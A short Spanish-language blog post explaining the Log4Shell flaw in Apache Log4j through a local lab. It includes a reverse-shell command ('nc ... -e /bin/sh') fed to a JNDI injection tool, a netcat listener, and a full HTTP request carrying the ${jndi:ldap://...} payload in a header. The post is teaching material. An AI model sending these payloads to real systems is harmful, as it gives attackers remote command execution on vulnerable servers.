Featured image of post Acerca de log4shell

Acerca de log4shell

log4shell es una falla en Apache Log4j que permite que atacantes puedan ejecutar comandos maliciosos desde servidores LDAP maliciosos, esta vulnerabilidad en sus principios fue un 0 day y debido a que log4j se encuentra en muchas aplicaciones como minecraft, Struts2, Flink entre otros su impacto ha sido muy grande.

Como Funciona?

Para esta vulnerabilidad en forma de prueba de concepto existe en github una aplicaci贸n vulnerable https://github.com/christophetd/log4shell-vulnerable-app

git clone https://github.com/christophetd/log4shell-vulnerable-app.git
docker run --name vulnerable-log4 -p 8081:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Name

una vez descargado vamos analizar el c贸digo para ver en qu茅 forma puede ser vulnerable

Name

La parte que nos interesa es:

    @GetMapping("/")
    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";
    }

Y en especial esta ya que es la parte vulnerable :


logger.info("Received a request for API version " + apiVersion);

despu茅s vamos a necesitar un servidor LDAP que nos permita ejecutar los comandos https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-1.0-SNAPSHOT-all.jar -C "nc 172.17.0.1 4444 -e /bin/sh" 
nc -lvp 4444

Name

Solo hacemos un http request con el header X-Api-Version y con la direcci贸n que nos proporcion贸 JNDI Injection

GET / HTTP/1.1
Host: 192.168.1.141:8081
X-Api-Version: ${jndi:ldap://172.17.0.1:1389/zlrpms} 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

Name

Name

debido a que la vulnerabilidad ya se encuentra arreglada en las nuevas versiones de Log4j solo queda actualizar

Built with Hugo
Theme Stack designed by Jimmy